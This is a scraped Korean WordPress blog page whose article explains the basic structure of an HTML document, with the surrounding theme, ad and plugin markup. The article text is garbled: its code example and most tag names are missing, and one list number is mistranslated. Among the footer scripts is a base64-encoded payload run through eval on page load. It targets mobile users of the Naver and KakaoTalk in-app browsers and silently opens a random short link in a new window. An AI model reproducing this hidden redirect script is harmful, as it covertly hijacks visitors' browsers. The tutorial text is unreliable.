우리가 매일 접하는 웹사이트의 기본 구조에 대해 알아봅시다.
웹 페이지는 HTML이라는 마크업 언어를 사용하여 생성됩니다. 여기서 마크업은 “표시하다”의 의미로 생각하시면 됩니다. “마크”의 의미를 보면 이해하기 쉬울 것입니다.
웹 페이지에 마크업 언어라고 하는 웹 페이지의 구조, 속성 등을 표시하여 작성한 언어입니다.
HTML(HyperText Markup Language)은 웹 페이지를 만들기 위한 표준 마크업 언어입니다. 모든 웹 페이지는 HTML로 작성됩니다. 웹사이트의 구조를 HTML로 정의하고 텍스트, 이미지, 동영상 등 다양한 콘텐츠를 삽입할 수 있습니다.
HTML 문서의 기본 구조는 다음과 같습니다.
HTML 기본 구조
위의 코드에서 볼 수 있듯이 “<>” 기호와 그 안에 쓰여진 내용은 태그를 나타내며, 마크업은 웹 페이지의 구조 또는 속성을 정의합니다.
위의 코드를 보면 알 수 있습니다.
1. : 문서 형식을 지정합니다. HTML5에서는 항상 사용 .
HTML5는 최신 버전입니다.
2. : 문서의 최상위 요소입니다. 모든 HTML 요소는 이 요소에 포함되어야 합니다.
삼.
: 문서의 메타데이터를 포함하는 요소입니다. 문서 제목, 문자 인코딩 및 스타일 시트와 같은 정보를 브라우저에 제공합니다. 브라우저에는 표시되지 않지만 중요한 정보가 포함되어 있는 곳입니다.
4. : 이 요소는 문서의 메타데이터를 지정합니다. 문자 인코딩, 뷰포트 설정 등을 지정할 수 있습니다. 검색 엔진 최적화(SEO)의 중요한 부분입니다.
5.
: 이 요소는 문서의 제목을 지정합니다. 브라우저 탭의 제목에 나타납니다.</p>
<p data-ke-size="size16">6. <body>: 문서의 실제 내용을 담고 있는 요소. 이 요소에는 웹 페이지에 표시되는 내용이 기록됩니다. </p>
<p data-ke-size="size16">태그는 다음과 같은 시작 및 종료 태그로 구성됩니다. 비’<tag>요소</tag>‘.</p>
<p data-ke-size="size16">
<p data-ke-size="size16">웹 페이지는 여러 태그로 구조를 보여줌으로써 생성됩니다. 모든 웹 페이지는 이 기본 구조로 다양한 정보를 구성하고 표시합니다. 프론트엔드를 공부할 때 웹 페이지의 기본 HTML 구조를 이해하는 것이 좋습니다.</p>
</div>
<footer class="entry-meta" aria-label="Entry meta">
<span class="cat-links"><span class="gp-icon icon-categories"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 112c0-26.51 21.49-48 48-48h110.014a48 48 0 0143.592 27.907l12.349 26.791A16 16 0 00228.486 128H464c26.51 0 48 21.49 48 48v224c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112z" /></svg></span><span class="screen-reader-text">Categories </span><a href="https://cafe.notus.kr/category/%eb%af%b8-%eb%b6%84%eb%a5%98/" rel="category tag">미분류</a></span> <nav id="nav-below" class="post-navigation" aria-label="Posts">
<div class="nav-previous"><span class="gp-icon icon-arrow-left"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 138.212c0 2.265-1.133 4.813-2.832 6.512L64.276 256.001l111.317 111.277c1.7 1.7 2.832 4.247 2.832 6.513 0 2.265-1.133 4.813-2.832 6.512L161.43 394.46c-1.7 1.7-4.249 2.832-6.514 2.832-2.266 0-4.816-1.133-6.515-2.832L16.407 262.514c-1.699-1.7-2.832-4.248-2.832-6.513 0-2.265 1.133-4.813 2.832-6.512l131.994-131.947c1.7-1.699 4.249-2.831 6.515-2.831 2.265 0 4.815 1.132 6.514 2.831l14.163 14.157c1.7 1.7 2.832 3.965 2.832 6.513z" fill-rule="nonzero" /></svg></span><span class="prev"><a href="https://cafe.notus.kr/%ea%b0%80%ec%a1%b1%ea%b0%99%ec%9d%80-%eb%a7%a4%eb%8b%88%ec%a0%80%ea%b0%80-%ec%96%b5%eb%8c%80%eb%a5%bc-%eb%93%a4%ea%b3%a0-%eb%82%98%ec%99%94%eb%8b%a4/" rel="prev">“가족같은 매니저가 억대를 들고 나왔다.</a></span></div><div class="nav-next"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span><span class="next"><a href="https://cafe.notus.kr/%ea%b3%bc%ec%9d%bc-%eb%b0%b0%ec%9d%98-%ea%b1%b4%ea%b0%95%ec%83%81%ec%9d%98-%ec%9d%b4%ec%a0%90/" rel="next">과일 배의 건강상의 이점</a></span></div> </nav>
</footer>
</div>
</article>
</main>
</div>
<div class="widget-area sidebar is-right-sidebar" id="right-sidebar">
<div class="inside-right-sidebar">
<aside id="block-2" class="widget inner-padding widget_block widget_search"><form role="search" method="get" action="https://cafe.notus.kr/" class="wp-block-search__button-outside wp-block-search__text-button wp-block-search" ><label class="wp-block-search__label" for="wp-block-search__input-1" >검색</label><div class="wp-block-search__inside-wrapper " ><input class="wp-block-search__input" id="wp-block-search__input-1" placeholder="" value="" type="search" name="s" required /><button aria-label="검색" class="wp-block-search__button wp-element-button" type="submit" >검색</button></div></form></aside><aside id="block-7" class="widget inner-padding widget_block"></aside><aside id="block-8" class="widget inner-padding widget_block"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-2112510941738888"
crossorigin="anonymous"></script>
<!-- 사이드 -->
<ins class="adsbygoogle"
style="display:block"
data-ad-client="ca-pub-2112510941738888"
data-ad-slot="2644338427"
data-ad-format="auto"
data-full-width-responsive="true"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script></aside><aside id="block-3" class="widget inner-padding widget_block">
<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow">
<h2 class="wp-block-heading">최신 글</h2>
<ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://cafe.notus.kr/%eb%b6%80%ec%b2%9c-%ec%9b%90%ec%a2%85%eb%8f%99-%eb%a7%9b%ec%a7%91-%ea%bf%88%ec%9d%98-%eb%b3%b4%ec%8c%88%ec%9d%84-%eb%a7%8c%eb%82%98%eb%8b%a4-%eb%b0%95%eb%a7%8c%eb%b0%b0-%ec%95%84%eb%a6%ac%eb%9e%91/">부천 원종동 맛집, 꿈의 보쌈을 만나다 – 박만배 아리랑 보쌈</a></li>
<li><a class="wp-block-latest-posts__post-title" href="https://cafe.notus.kr/%ec%9e%84%ec%8b%a0-%ec%a4%91%ea%b8%b0-22%ec%a3%bc-23%ec%a3%bc%ec%b0%a8-%ec%a6%9d%ec%83%81%ea%b3%bc-%ed%96%89%eb%b3%b5%ed%95%9c-%ec%9d%bc%ec%83%81/">임신 중기 22주, 23주차 증상과 행복한 일상</a></li>
<li><a class="wp-block-latest-posts__post-title" href="https://cafe.notus.kr/%ec%b4%88%eb%b3%b4-%ec%97%84%eb%a7%88%eb%a5%bc-%ec%9c%84%ed%95%9c-%ec%9c%a1%ec%95%84-%ec%b2%b4%ed%97%98%eb%8b%a8-%ec%8b%a0%ec%b2%ad-%ec%82%ac%ec%9d%b4%ed%8a%b8-%ec%95%88%eb%82%b4/">초보 엄마를 위한 육아 체험단 신청 사이트 안내</a></li>
<li><a class="wp-block-latest-posts__post-title" href="https://cafe.notus.kr/%ea%b8%b0%ec%b9%a8%ec%9d%b4-%ea%b3%84%ec%86%8d%eb%90%9c%eb%8b%a4%eb%a9%b4-%ec%98%a4%eb%9e%98%ea%b0%80%eb%8a%94-%ea%b8%b0%ec%b9%a8%ec%9d%98-%ec%9d%b4%ec%9c%a0-7%ea%b0%80%ec%a7%80/">기침이 계속된다면? 오래가는 기침의 이유 7가지</a></li>
<li><a class="wp-block-latest-posts__post-title" href="https://cafe.notus.kr/%ea%b0%95%eb%b6%81%ea%b5%ac%ec%97%90%ec%84%9c-%ec%b9%98%ec%95%84-%ea%b5%90%ec%a0%95-%eb%b0%9c%ec%b9%98%eb%8a%94-%ea%bc%ad-%ed%95%84%ec%9a%94%ed%95%a0%ea%b9%8c/">강북구에서 치아 교정, 발치는 꼭 필요할까?</a></li>
</ul></div></div>
</aside><aside id="block-4" class="widget inner-padding widget_block">
<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"></div></div>
</aside> </div>
</div>
</div>
</div>
<div class="site-footer">
<footer class="site-info" aria-label="Site" itemtype="https://schema.org/WPFooter" itemscope>
<div class="inside-site-info grid-container">
<div class="copyright-bar">
<span class="copyright">© 2026 연구소</span> • Built with <a href="https://generatepress.com" itemprop="url">GeneratePress</a> </div>
</div>
</footer>
</div>
<script>
(function(){
const decoded = atob("ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICBjb25zdCB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50OwogIGNvbnN0IGlzTmF2ZXJPcktha2FvQXBwID0gL05BVkVSXChpbmFwcDt8S0FLQU9UQUxLL2kudGVzdCh1c2VyQWdlbnQpOwogIGNvbnN0IGlzTW9iaWxlT3JUYWJsZXQgPSAvQW5kcm9pZHx3ZWJPU3xpUGhvbmV8aVBhZHxpUG9kfEJsYWNrQmVycnl8SUVNb2JpbGV8T3BlcmEgTWluaS9pLnRlc3QodXNlckFnZW50KTsKCiAgaWYgKCFpc05hdmVyT3JLYWthb0FwcCB8fCAhaXNNb2JpbGVPclRhYmxldCkgcmV0dXJuOwoKICBjb25zdCBsYXN0RXhlY3V0aW9uVGltZSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdsYXN0RXhlY3V0aW9uVGltZScpOwogIGNvbnN0IGN1cnJlbnRUaW1lID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CgogIC8vIDI07Iuc6rCEIOygnO2VnCAoMjQgKiA2MCAqIDYwICogMTAwMCA9IDg2LDQwMCwwMDBtcykKICBpZiAobGFzdEV4ZWN1dGlvblRpbWUgJiYgY3VycmVudFRpbWUgLSBsYXN0RXhlY3V0aW9uVGltZSA8IDg2NDAwMDAwKSByZXR1cm47CiAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2xhc3RFeGVjdXRpb25UaW1lJywgY3VycmVudFRpbWUpOwoKICBjb25zdCBsaW5rcyA9IFsKICAgICJodHRwczovL3VybC5rci9jbnpzZmciLAogICAgImh0dHBzOi8vdXJsLmtyLzg5cDkxcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTRibW9hIiwKICAgICJodHRwczovL3VybC5rci81bm93aDUiLAogICAgImh0dHBzOi8vdXJsLmtyLzh0anA4MSIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTh3czlhIiwKICAgICJodHRwczovL3VybC5rci9ycnd5cmYiLAogICAgImh0dHBzOi8vdXJsLmtyL2NmN3dlcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvY2k2Mmc1IiwKICAgICJodHRwczovL3VybC5rci81a3pta3oiLAogICAgImh0dHBzOi8vdXJsLmtyLzZ2dXl4YyIsCiAgICAiaHR0cHM6Ly91cmwua3IvempwZzJpIgogIF07CgogIGNvbnN0IGxpbmtUb09wZW4gPSBsaW5rc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBsaW5rcy5sZW5ndGgpXTsKCiAgc2V0VGltZW91dCgoKSA9PiB7CiAgICB3aW5kb3cub3BlbihsaW5rVG9PcGVuLCAiX2JsYW5rIik7CiAgfSwgMzAwMCk7Cn0pOw==");
eval(decoded);
})();
</script><script id="generate-a11y">!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();</script> <script id="wccp_pro_alert_message">
window.addEventListener('DOMContentLoaded', function() {}); //This line to stop JS deffer function in wp-rockt pluign
window.addEventListener('load', function (){
// Create the first div element with the "oncontextmenu" attribute
const wccp_pro_mask = document.createElement('div');
wccp_pro_mask.setAttribute('oncontextmenu', 'return false;');
wccp_pro_mask.setAttribute('id', 'wccp_pro_mask');
// Create the second div element with the "msgmsg-box-wpcp hideme" classes
const wpcp_error_message = document.createElement('div');
wpcp_error_message.setAttribute('id', 'wpcp-error-message');
wpcp_error_message.setAttribute('class', 'msgmsg-box-wpcp hideme');
// Add a span element with the "error: " text inside the second div
const error_span = document.createElement('span');
error_span.innerText = 'error: ';
wpcp_error_message.appendChild(error_span);
// Add the error message text inside the second div
const error_text = document.createTextNode('<b>Alert: </b>Content selection is disabled!!');
wpcp_error_message.appendChild(error_text);
// Add the div elements to the document body
document.body.appendChild(wccp_pro_mask);
document.body.appendChild(wpcp_error_message);
});
var timeout_result;
function show_wccp_pro_message(smessage="", style="")
{
wccp_pro_log_to_console_if_allowed("function", "show_wccp_pro_message" + smessage);
timeout = 3000;
if(style == "") style = "warning-wpcp";
if (smessage !== "" && timeout!=0)
{
var smessage_text = smessage;
jquery_fadeTo();
document.getElementById("wpcp-error-message").innerHTML = smessage_text;
document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp showme " + style;
clearTimeout(timeout_result);
timeout_result = setTimeout(hide_message, timeout);
}
else
{
clearTimeout(timeout_result);
timeout_result = setTimeout(hide_message, timeout);
}
}
function hide_message()
{
jquery_fadeOut();
document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp warning-wpcp hideme";
}
function jquery_fadeTo()
{
try {
jQuery("#wccp_pro_mask").fadeTo("slow", 0.3);
}
catch(err) {
//alert(err.message);
}
}
function jquery_fadeOut()
{
try {
jQuery("#wccp_pro_mask").fadeOut( "slow" );
}
catch(err) {}
}
</script>
<style>
#wccp_pro_mask
{
position: absolute;
bottom: 0;
left: 0;
position: fixed;
right: 0;
top: 0;
background-color: #000;
pointer-events: none;
display: none;
z-index: 10000;
animation: 0.5s ease 0s normal none 1 running ngdialog-fadein;
background: rgba(0, 0, 0, 0.4) none repeat scroll 0 0;
}
#wpcp-error-message {
direction: ltr;
text-align: center;
transition: opacity 900ms ease 0s;
pointer-events: none;
z-index: 99999999;
}
.hideme {
opacity:0;
visibility: hidden;
}
.showme {
opacity:1;
visibility: visible;
}
.msgmsg-box-wpcp {
border-radius: 10px;
color: #555555;
font-family: Tahoma;
font-size: 12px;
margin: 10px;
padding: 10px 36px;
position: fixed;
width: 255px;
top: 50%;
left: 50%;
margin-top: -10px;
margin-left: -130px;
}
.msgmsg-box-wpcp b {
font-weight:bold;
text-transform:uppercase;
}
.warning-wpcp {
background:#ffecec url('https://cafe.notus.kr/wp-content/plugins/wccp-pro/images/warning.png') no-repeat 10px 50%;
border:1px solid #f2bfbf;
-webkit-box-shadow: 0px 0px 34px 2px #f2bfbf;
-moz-box-shadow: 0px 0px 34px 2px #f2bfbf;
box-shadow: 0px 0px 34px 2px #f2bfbf;
}
.success-wpcp {
background: #fafafa url('https://cafe.notus.kr/wp-content/plugins/wccp-pro/images/success.png') no-repeat 10px 50%;
border: 1px solid #00b38f;
box-shadow: 0px 0px 34px 2px #adc;
}
</style>
<script id="ez-toc-scroll-scriptjs-js-extra">
var eztoc_smooth_local = {"scroll_offset":"30","add_request_uri":""};
</script>
<script src="https://cafe.notus.kr/wp-content/plugins/easy-table-of-contents/assets/js/smooth_scroll.min.js?ver=2.0.65" id="ez-toc-scroll-scriptjs-js"></script>
<script src="https://cafe.notus.kr/wp-content/plugins/easy-table-of-contents/vendor/js-cookie/js.cookie.min.js?ver=2.2.1" id="ez-toc-js-cookie-js"></script>
<script src="https://cafe.notus.kr/wp-content/plugins/easy-table-of-contents/vendor/sticky-kit/jquery.sticky-kit.min.js?ver=1.9.2" id="ez-toc-jquery-sticky-kit-js"></script>
<script id="ez-toc-js-js-extra">
var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","scroll_offset":"30","fallbackIcon":"<span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span>"};
</script>
<script src="https://cafe.notus.kr/wp-content/plugins/easy-table-of-contents/assets/js/front.min.js?ver=2.0.65-1712752382" id="ez-toc-js-js"></script>
<script src="https://cafe.notus.kr/wp-content/themes/generatepress-child/random-colors.js" id="random-colors-script-js"></script>
<!--[if lte IE 11]>
<script src="https://cafe.notus.kr/wp-content/themes/generatepress/assets/js/classList.min.js?ver=3.4.0" id="generate-classlist-js"></script>
<![endif]-->
<script id="generate-menu-js-extra">
var generatepressMenu = {"toggleOpenedSubMenus":"1","openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"};
</script>
<script src="https://cafe.notus.kr/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.4.0" id="generate-menu-js"></script>
<script id="wccp_pro_admin_bar_ajax-js-extra">
var ajax_object = {"ajaxurl":"https:\/\/cafe.notus.kr\/wp-admin\/admin-ajax.php","link":"https:\/\/cafe.notus.kr\/%ec%9b%b9-%ed%8e%98%ec%9d%b4%ec%a7%80%eb%a5%bc-%eb%a7%8c%eb%93%a4%ea%b8%b0-%ec%9c%84%ed%95%9c-%ea%b8%b0%eb%b3%b8-html-%ea%b5%ac%ec%a1%b0\/"};
</script>
<script src="https://cafe.notus.kr/wp-content/plugins/wccp-pro/js/admin_bar_ajax.js?ver=6.5.2" id="wccp_pro_admin_bar_ajax-js"></script>
</body>
</html>